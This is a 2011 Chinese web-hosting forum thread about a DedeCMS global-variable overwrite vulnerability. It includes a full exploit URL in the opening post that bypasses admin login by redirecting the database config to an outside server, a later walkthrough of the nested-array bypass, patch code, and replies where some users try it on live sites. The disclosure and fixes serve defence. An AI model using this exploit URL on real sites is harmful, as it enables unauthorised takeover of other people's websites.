全球主机交流论坛
标题:
用DEDECMS的注意了,赶紧修改后台地址
[打印本页]
作者:
ReJeCt
时间:
2011-8-11 09:51
标题:
用DEDECMS的注意了,赶紧修改后台地址
http://www.xx.com/
后台/login.php?dopost=login&validate=
dcug
&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
只要把验证码改为当前验证码,就能直接无密码进后台
解决办法:
找到include/common.inc.php文件,把
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) )
{
exit('Request var not allow!');
}
}
换成
//检查和注册外部提交的变量
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
{
exit('Request var not allow!');
}
}
}
CheckRequest($_REQUEST);
复制代码
作者:
geyunbing
时间:
2011-8-11 09:52
提示:
作者被禁止或删除 内容自动屏蔽
作者:
hitsword
时间:
2011-8-11 09:55
5.6貌似没这漏洞?
作者:
一跳而过
时间:
2011-8-11 09:56
原帖由
geyunbing
于 2011-8-11 09:52 发表
靠 又出bug
作者:
nuet
时间:
2011-8-11 09:57
给力啊
作者:
xen
时间:
2011-8-11 10:00
dedecms后台怎么拿shell
貌似这个漏洞 5.7 5.6 都提示 你的密码错误。
[
本帖最后由 xen 于 2011-8-11 10:20 编辑
]
作者:
kwx
时间:
2011-8-11 10:01
原帖由
geyunbing
于 2011-8-11 09:52 发表
靠 又出bug
作者:
cpuer
时间:
2011-8-11 10:01
dedecms 未发现的bug应该还不少。
作者:
wyloveyx
时间:
2011-8-11 10:03
还好一直没用dede
作者:
monface
时间:
2011-8-11 10:03
试过了,好像这个洞不行哦
作者:
见钱开眼
时间:
2011-8-11 10:04
提示:
作者被禁止或删除 内容自动屏蔽
作者:
融雪深秋
时间:
2011-8-11 10:04
谢谢提醒。DEDECMS的BUG可真多
作者:
四师兄
时间:
2011-8-11 10:05
沒用過
作者:
旺旺
时间:
2011-8-11 10:08
找了一个dedecms湿了一下,不行,不知道什么版本。
作者:
sunshine
时间:
2011-8-11 10:12
提示:
作者被禁止或删除 内容自动屏蔽
作者:
javaluo
时间:
2011-8-11 10:14
测试了下 密码错误 不会玩
作者:
旺旺
时间:
2011-8-11 10:18
看起来好像要自己搞一个可以远程连接的dedecms数据库。
作者:
mslxd
时间:
2011-8-11 10:22
呵呵,,,真逗
作者:
小夜
时间:
2011-8-11 10:25
我用DEDE,连个PHP都不放。仅存放生成的html文件,bug真的伤不起啊。
作者:
wjt1220
时间:
2011-8-11 10:32
连后台都不改,被入侵了也活该
作者:
woyo
时间:
2011-8-11 12:32
最好别用开源软件,或者别让别人知道你是什么程序
作者:
神马皆浮云
时间:
2011-8-11 12:50
去试试我看上的几个站
作者:
有个就好
时间:
2011-8-11 13:25
DeDe垃圾
作者:
geyunbing
时间:
2011-8-11 13:27
提示:
作者被禁止或删除 内容自动屏蔽
作者:
microka
时间:
2011-8-11 13:30
原帖由
geyunbing
于 2011-8-11 09:52 发表
靠 又出bug
作者:
黑马王子
时间:
2011-8-11 13:36
瞧瞧,对此问题无视。
作者:
wdlth
时间:
2011-8-11 13:44
没开全局变量
作者:
Poison
时间:
2011-8-11 13:45
会员中心和后台 该删除的删除 该改名改名
作者:
ReJeCt
时间:
2011-8-11 15:45
dede出fix补丁有点慢的
作者:
ReJeCt
时间:
2011-8-12 17:49
DEDECMS全局变量覆盖漏洞最早是狼族安全小组09年公布的,官方硬撑到现在没修补漏洞,到现在基本上覆盖了DEDECMS全部的版本。个人猜想是不是官方故意留下的后门。下面稍微科普下这个漏洞,大牛们可以完全无视:
一. 了解PHP超级全局变量
下面是PHP的超级全局变量,可以了解一个特性,全是数组。
$GLOBALS, 所有全局变量数组
$_SERVER, 服务器环境变量数组
$_GET,通过GET方法传递给脚本的变量数组
$_POST, 通过POST方法传递给脚本的变量数组
$_COOKIE,cookie变量数组
$_REQUEST,所有用户输入的变量数组,包括$_GET, $_POST和$_COOKIE所包含的输入内容
$_FILES,与文件上传相关得变量数组
$_ENV,环境变量数组
$_SESSION,会话变量数组
二. 理解$_GET变量
可以写个PHP来看看:
<?php
var_dump($_GET);
?>
访问
http://127.0.0.1/test.php?key=value
得到
array(1) { ["key"]=> string(5) "value" }
OK,看到这里应该明白了,$_GET就是个数组,我们用GET方法可以传一个数组。
再访问
http://127.0.0.1/test.php?key
[arr1]=value
得到
array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
我们通过GET方法传入了一个嵌套数组。
到这里其实问题就出来了,很多PHP安全资料都没提过GET传嵌套数组的这个特性,偶尔在几个exploit里看到 - -!
三. 深入跟进DEDECMS全局变量注册漏洞
真正理解了$_GET变量后,我们来深入跟进这个漏洞产生的真正原因,模拟一下漏洞的全过程:
提交一个嵌套数组:
http://127.0.0.1/test.php?_POST
[GLOBALS][cfg_dbname]=X
array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=> array(1) { ["cfg_dbname"]=> string(1) "X" } } }
假如数据传入了DEDECMS程序,在第一层过滤,DEDECMS会检查$_REQUEST里有没有全局变量的关键字,但我们的KEY是_POST且是个数组,所以轻松绕过。
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
exit('Request var not allow!');
}
}
接着进入真正的注册变量流程,按顺序是先从$_GET变量注册的,我们的KEY是(_POST),第一轮遍历$_GET成功注册了变量$_POST,第二轮遍历$_POST成功注册了变量$GLOBALS !
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
到这里漏洞的原因就清楚了,程序通过$_GET注册了$_POST,通过$_POST注册了$GLOBALS!
四. 领悟漏洞后的修补
完全领悟这个漏洞后,就会知道怎么修补了。
1. 可以看看DISCUZ是怎么做的,当发现KEY的第一个字符存在_就不注册变量。
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
2. DEDECMS可以用下面的方法临时修补,当遍历$_POST注册变量,发现变量名存在GLOBALS就会阻止注册变量。
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) {
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){
exit('Request var not allow!');
}
${$_k} = _RunMagicQuotes($_v);
}
}
PS:安全就是基础,必须理解好基础。
详细的
欢迎光临 全球主机交流论坛 (https://sunk.eu.org/)
Powered by Discuz! X3.4